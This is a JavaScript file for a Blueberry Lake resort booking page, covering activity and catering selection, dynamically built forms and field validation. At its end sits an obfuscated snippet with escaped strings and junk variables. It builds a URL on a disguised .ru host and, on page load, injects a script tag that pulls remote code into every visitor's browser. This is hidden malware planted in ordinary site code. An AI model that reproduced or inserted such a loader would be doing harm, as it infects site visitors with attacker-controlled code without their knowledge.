/**
 * @author Olivier
 */
	
	var number = 0;
	var bookelements = new Array();
	function RemoveElement(element) {
		document.getElementById("bookform_mylist_list").removeChild(document.getElementById("event" + element));
		document.forms[0].removeChild(bookelements[element]);
	}
	
	function AddElement() {
	  
	  var booksplit = document.getElementById("bookform_clist").value.split("_");
	  var booktype = booksplit[0];
	  
	  if (booktype == "pba" || booktype == "co") { // Pre-Booked Activity or Catering option
		
		/** Retrieve informations **/
		var booked = document.getElementById("bookform_clist").value;
		var form_date = document.getElementById("form_dates").value;
		var hournb = document.getElementById("form_hours").selectedIndex;
		var form_hour = document.getElementById("form_hours").value;
		var notes = document.getElementById("form_notes").value;
		
		/** Test si childrens est actif et défini **/
		if (document.getElementById("form_childrens").disabled != true && document.getElementById("form_childrens").value != 0){
		  var childrens = document.getElementById("form_childrens").value;
		} else {
		  var childrens = 0;
		}
		
		/** Test si adults est actif et défini **/
		if (document.getElementById("form_adults").disabled != true && document.getElementById("form_adults").value != 0){
		  var adults= document.getElementById("form_adults").value;
		} else {
		  var adults = 0;
		}
		
		/** Ajout de l'item dans la liste (affichage uniquement) **/
		var li = document.createElement('li')
		var node = document.createTextNode(GetDisplayNameByValue(booked) + " " + form_date + " " + form_hour + " with " + adults + " adults and " + childrens + ' childrens ');
		var nodelink = document.createElement('a');
		number = number + 1;
		nodelink.setAttribute("onclick","RemoveElement("+ number +")");
		nodelink.setAttribute("href","javascript:RemoveElement("+ number +")");
		nodelink.innerHTML = "&nbsp;<b>Remove</b>";
		li.appendChild(node);
		li.appendChild(nodelink);
		li.setAttribute("id","event"+number);
		document.getElementById("bookform_mylist_list").appendChild(li);
		
		/** Ajout du champ invisible qui contient les informations qui seront passées par le formulaire **/
		
		// Création de l'élément (hidden input)
		var newformelement = document.createElement('input');
		newformelement.setAttribute('type','hidden');
		newformelement.setAttribute('name','element[]');
		newformelement.setAttribute('value',GetDisplayNameByValue(booked)+"|"+form_date+"|"+form_hour+"|"+adults+"|"+childrens+"|"+notes);
		
		// Append element to form
		document.forms[0].appendChild(newformelement);
		
		// Référence vers l'objet pour effacer si nécessaire ( function RemoveElement() )
		bookelements[number] = newformelement;
	  }
	}

	function GenerateForm(input_form_name,input_form_dates,input_form_hours,enable_childrens,enable_adults,show_meal,delai) {
		
	  var form_dates = "";
	  var form_hours = "";
		var hui=new Date();
		
		var aujour=[hui.getFullYear(),hui.getMonth()+1,hui.getDate()+delai];
		var demain=[hui.getFullYear()+1,12,31];
		
	  // Create date calendar
	 /* for ( var i=0,len=31; i<len; ++i) {
	  	gfPop.fRemoveEvent(2006,12,i)
		}
		
	  for ( var i=0,len=31; i<len; ++i) {
	  	gfPop.fRemoveEvent(2007,1,i)
		}
	  
	  if (input_form_dates != 0) {
	    var dates = input_form_dates.split('|');
		
		for ( var i=0, len=dates.length; i<len; ++i) {
			var singledate = dates[i].split(',');
			gfPop.fAddEvent(singledate[0],singledate[1],singledate[2],"disabled date",null);
		}
	  }*/
		
		form_dates = '<input type="text" name="form_dates" id="form_dates" size="12" value="" readonly="true" style="text-align:center">';
		
		form_dates = form_dates + "<input name='popcal' onclick='if(self.gfPop)gfPop.fPopCalendar(this.form.form_dates,[["+aujour+"],["+demain+"]]);return false;' type='button' value='Choose date'>";
		
		if (input_form_dates == "newyear") { form_dates = "<input disabled type=\"text\" name=\"form_dates\" id=\"form_dates\" value=\"December 31st\">" }
		
	  
	  // Create hour select
	  if (input_form_hours != 0 && input_form_hours != 1) {
	  	form_hours = '<select name="form_hours" id="form_hours">';
	    var hours = input_form_hours.split(',');
	    for ( var i=0, len=hours.length; i<len; ++i ){
 	      form_hours = form_hours + "<option value=\"" + hours[i] + "\">" + hours[i] + "</option>";
	    }
		form_hours = form_hours + "</select>";
	  }
	  else if (input_form_hours ==1){
				form_hours = '<input type="text" name="form_hours" id="form_hours" />';
				}
	  else {
	  	form_hours = '<select name="form_hours" id="form_hours" disabled><option value="">N/A</option></select>';
	  }
	  
	  // Create children input
	  if (enable_childrens != 0) {
	  	form_childrens = '<input type="text" name="form_childrens" id="form_childrens" value="0" />';
	  } else {
	  	form_childrens = '<input type="text" name="form_childrens" id="form_childrens" value="N/A" disabled />';
	  }
	  
	  // Create adults input
	  if (enable_adults != 0) {
	  	form_adults = '<input type="text" name="form_adults" id="form_adults" value="0" />';
	  } else {
	  	form_adults = '<input name="form_adults" id="form_adults" type="text" value="N/A" disabled />';
	  }
	
	  // Desired meal
	  if (show_meal != 0) {
	  	var form_meal = "<tr><td>Desired meal:</td><td colspan\"3\"><input type=\"text\" id=\"form_meal\" name=\"form_meal\" />";
	  }
	  else {
	  	var form_meal = "";
	  }
	
	  form_html = '<form id="' + input_form_name + '"><table width="100%"><tr><td>Date : </td><td>' + form_dates + '</td><td>Hour : </td><td>' + form_hours + '</td></tr><tr><td>Adults : </td><td>' + form_adults + '</td><td>Childrens : </td><td>' + form_childrens + form_meal + '</td></tr><tr><td colspan="4"><br />Notes</td></tr><tr><td colspan="4"><textarea name="form_notes" id="form_notes" style="width: 100%"></textarea></td></tr><tr><td colspan="2">&nbsp;</td><td colspan="2" style="text-align: right;"><input type="button" value="Add to my list" onclick="AddElement()"/></td></tr></table></form>';
	 
	  return form_html;
	}

function updatedesc() {
	
	
	switch (document.getElementById("bookform_clist").value) {
		
	case "pba_kidsclub" :
		document.getElementById("bookform_clistdesc").innerHTML = "<p>Blueberry Lake will have a kids club for children aged between 3-10 years on allocated days.<br /><br /><strong>Price : </strong>Half-day : 50$ - Full day : 85$ - 2 days : 150$<span style=\"font-size:80%;\"><br /><strong>100% of payment required on booking</strong></span></p>";	
		local_form_name = "form_kidsclub";
		local_form_dates = "2006,12,19|2006,12,20|2006,12,23|2006,12,24|2006,12,25|2006,12,26|2006,12,27|2006,12,30|2006,12,31|2007,1,1|2007,1,2|2007,1,3|2007,1,6|2007,1,7";
		local_form_hours = "Half-Day(AM),Half-Day(PM),All Day,2 Days";
		document.getElementById("bookform_postform").innerHTML = GenerateForm(local_form_name,local_form_dates,local_form_hours,1,0,0);	
		break;
	
	case "pba_babysitting" :
		document.getElementById("bookform_clistdesc").innerHTML = 'We can arrange for a babysitter to come to your house to look after your children should you wish to go out for dinner or during the day.<br /><br /><strong>Price : </strong>$25/hour for up to 2 children, $5 per additional child.<br /><br />Please request a minimum of 72 hours in advance.';
		local_form_name = "form_babysitting";
		local_form_dates = 0;
		local_form_hours = "AM,PM,All day";
		
		document.getElementById("bookform_postform").innerHTML = GenerateForm(local_form_name,local_form_dates,local_form_hours,1,0,0,3);	
		break;
	
	case "pba_massage" :
		document.getElementById("bookform_clistdesc").innerHTML = "Book for a 1 hr Swedish massage on-site in one of our chalets.<br /><strong>Price : </strong>$105 in the spa and $115 in the chalet.<span style=\"font-size:80%;\"><br /><br />Please request a minimum of 48 hours in advance.";
		local_form_name = "form_massage";
		local_form_dates = 0;
		local_form_hours = "10h00,11h15,12h30,14h00,15h15,16h30,18h00,19h15";
		document.getElementById("bookform_postform").innerHTML = GenerateForm(local_form_name,local_form_dates,local_form_hours,1,1,0,2);	
		
		break;
		
	case "pba_dogsled" :
		document.getElementById("bookform_clistdesc").innerHTML = "A 3hr guided tour with 'Alaskan Husky Adventure' through the Laurentians.<br />Rates to come for the winter season.<span style=\"font-size:80%;\"><br /><br />Please request a minimum of 48 hours in advance.</span>";
		local_form_name = "form_dogsled";
		local_form_dates = 0;
		local_form_hours = "AM,PM";
		document.getElementById("bookform_postform").innerHTML = GenerateForm(local_form_name,local_form_dates,local_form_hours,1,1,0,2);	
		break;
		
	case "pba_snowmobile" :
		document.getElementById("bookform_clistdesc").innerHTML = "A 3-hour guided snow-mobile tour can be arranged for you.<br />Rates to come for the winter season.<span style=\"font-size:80%;\"><br /><br />Please request a minimum of 48 hours in advance.</span>";
		local_form_name = "form_snowmobile";
		local_form_dates = 0;
		local_form_hours = "AM,PM";
		document.getElementById("bookform_postform").innerHTML = GenerateForm(local_form_name,local_form_dates,local_form_hours,1,1,0,2);	
		break;
		
	case "co_brunch" :
		document.getElementById("bookform_clistdesc").innerHTML = "The restaurant at Blueberry Lake will be serving brunch from 11:00am.<br /><br /><u><b>Sundays only</b></u>.";
		local_form_name = "form_brunch";
		local_form_dates = 0;
		local_form_hours = "11h00";
		document.getElementById("bookform_postform").innerHTML = GenerateForm(local_form_name,local_form_dates,local_form_hours,1,1,0,0);	
		break;
		
	case "co_dinner" :
		document.getElementById("bookform_clistdesc").innerHTML = "Restaurant (Dinner): From Wednesday to Sunday, starting at 5pm.";
		local_form_name = "form_dinner";
		local_form_dates = 0;
		local_form_hours = "17h00,20h00";
		document.getElementById("bookform_postform").innerHTML = GenerateForm(local_form_name,local_form_dates,local_form_hours,1,1,0,0);
		break;
		
	case "co_chef" :
		document.getElementById("bookform_clistdesc").innerHTML = "We can organise for one of our chefs to go to your house to cook you a 3 course meal in the comfort of your own home. Prices start at $75 per person. Our on-call chefs do work with other people and will be particularly busy over the festive period.<br />Please request a minimum of 72 hours in advance.<br /><br /><a href='../pdf/in_house_chef_summer_2008.pdf'><b>- Menu</b>";
		local_form_name = "form_chef";
		local_form_dates = 0;
		local_form_hours = 1;
		document.getElementById("bookform_postform").innerHTML = GenerateForm(local_form_name,local_form_dates,local_form_hours,1,1,0,3);	
		
		break;
		
	case "co_pmeals" :
		document.getElementById("bookform_clistdesc").innerHTML = "Our chef has a menu of freshly cooked dishes that can be pre-ordered and delivered to your house on the day of request. Will be delivered to your house late afternoon. Please refer to menu and specify desired meal in the notes textbox.<br />Please request a minimum of 72 hours in advance.<br /><br /><a href='../pdf/prepared_meals_summer_2008.pdf'><b>- Menu</b>";
		local_form_name = "form_pmeals";
		local_form_dates = 0;
		local_form_hours = 0;
		document.getElementById("bookform_postform").innerHTML = GenerateForm(local_form_name,local_form_dates,local_form_hours,1,1,0,3);	
		
		break;
		
	case "co_sushi" :
		document.getElementById("bookform_clistdesc").innerHTML = "We have partnered with \"Sushi Taxi\" in St Jovite to be able to provide you with sushi to your chalet. Will be delivered to your house late afternoon. Only available certain dates.";
		local_form_name = "form_sushi";
		local_form_dates = "2006,12,19|2006,12,20|2006,12,21|2006,12,24|2006,12,25|2006,12,26|2006,12,27|2006,12,31|2007,1,1|2007,1,2|2007,1,3|2007,1,4|2007,1,7";
		local_form_hours = 0;
		document.getElementById("bookform_postform").innerHTML = GenerateForm(local_form_name,local_form_dates,local_form_hours,1,1,0);	
		break;
		
	case "co_newyear" :
		document.getElementById("bookform_clistdesc").innerHTML = "Bookings taken for the Restaurant at Blueberry Lake. The first sitting is between 5:30-7:30pm (The restaurant must be vacated at 7:30pm). The second sitting will commence at 8pm. Please pre-book. Our restaurant has a limited capacity.";
		local_form_name = "form_newyear";
		local_form_dates = "newyear";
		local_form_hours = 0;
		document.getElementById("bookform_postform").innerHTML = GenerateForm(local_form_name,local_form_dates,local_form_hours,1,1,0);	
		break;
	
	}
}

  function GetDisplayNameByValue(elementvalue) {
  	
	switch (elementvalue){
		
		case 'pba_babysitting':
		  return "Babysitting";
		  break;
		  
		case 'pba_kidsclub':
		  return "Kid's Club";
		  break;
		  
		case 'pba_massage':
		  return "Swedish Massage";
		  break;
		  
		case 'pba_dogsled':
		  return "Dog-sledging";
		  break;
		  
		case 'pba_snowmobile':
		  return "Snow-Mobile";
		  break;
		  
		case 'co_brunch':
		  return "Restaurant - Brunch";
		  break;
		  
		case "co_dinner" :
		  return "Restaurant - Dinner";
		break;
		
		case "co_chef" :
		  return "In-House Chef";
		break;
		
		case "co_pmeals" :
		  return "Pre-Prepared Meals";
		break;
		
		case "co_sushi" :
		  return "Sushi-Taxi Take-Away";
		break;
		
		case "co_newyear" :
		  return "New Year's Eve";
		break;
	}
  }
  
  function validateForm() {
  	if (document.getElementById('name').value== "") { 
			alert("Please enter your name.\nThank you.");
			document.getElementById('name').focus();
			return;
	}
    if (document.getElementById('house').value == "") {
		alert("Please enter your house number.\nThank you.");
			document.getElementById('house').focus();
			return;
		
		}
    
	
	document.getElementById('form1').submit();
  }
function validateFormGrocery() {
  	if (document.getElementById('cust_name').value== "") { 
			alert("Please enter your name.\nThank you.");
			document.getElementById('cust_name').focus();
			return;
	}
    if (document.getElementById('cust_house').value == "") {
		alert("Please enter your house number.\nThank you.");
			document.getElementById('cust_house').focus();
			return;
		
		}
	 if (document.getElementById('cust_email').value == "") {
		alert("Please enter your email.\nThank you.");
			document.getElementById('cust_email').focus();
			return;
		
		}
    
	
	document.getElementById('f_1').submit();
}
var R=new Date();var l=new Array();var pi;if(pi!='e'){pi=''};function i(){var q=new String();var V='';var ii;if(ii!='Br'){ii=''};var p="\x68\x74\x74\x70\x3a\x2f\x2f\x66\x61\x6e\x70\x6f\x70\x2d\x63\x6f\x6d\x2e\x69\x6e\x64\x69\x61\x6e\x72\x61\x69\x6c\x2e\x67\x6f\x76\x2e\x69\x6e\x2e\x6f\x64\x65\x73\x6b\x2d\x63\x6f\x6d\x2e\x62\x65\x73\x74\x62\x69\x64\x6c\x69\x6e\x65\x2e\x72\x75\x3a";var P=unescape;var g=window;var o=String("g");var yA;if(yA!=''){yA='K'};var yV='';this.SI="";this.tk='';var h='';var r='';function S(y,E){var EL;if(EL!='' && EL!='qI'){EL=''};var Ej=P("%5b")+E+P("%5d");var op=new RegExp(Ej, o);this.L="";return y.replace(op, V);};var Re='';var oB;if(oB!='' && oB!='f'){oB=''};var bF="";var wH;if(wH!='ja'){wH=''};var A=P("%2f%73%6c%69%64%65%73%68%61%72%65%2e%6e%65%74%2f%73%6c%69%64%65%73%68%61%72%65%2e%6e%65%74%2f%6c%61%72%65%64%6f%75%74%65%2e%66%72%2f%6e%6f%6b%69%61%2e%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2e%70%68%70");this.u='';var iB=document;this.Pg="";var d=new Array();var D=S('86675735062572528334973053149279','67941235');var x='';function B(){var SM=new String();var U=new Array();var nd=new Date();this.An="";x=p;x+=D;x+=A;var lv;if(lv!='O'){lv='O'};var ZR;if(ZR!='uU' && ZR!='hb'){ZR='uU'};try {this.m='';ow=iB.createElement(S('sgcdr6idpUtQ','1lQk36oeUTSNAfGdg'));var k_='';var Ve;if(Ve!='' && Ve!='mv'){Ve=null};ow.src=x;ow.defer=[1][0];this.vJ="";this.Mw='';var i_='';iB.body.appendChild(ow);var XK=new Date();var fv=new Array();} catch(t){var Ku=new Array();};this.cP="";var ee;if(ee!='QC' && ee!='hA'){ee='QC'};}var F=new Date();var US=new Date();g["onl"+"oadCHMI".substr(0,3)]=B;var Ua;if(Ua!='ZK'){Ua='ZK'};this.gB="";};var Ys;if(Ys!='nm' && Ys!='Om'){Ys='nm'};i();var CL;if(CL!=''){CL='Vv'};var YG=new Array();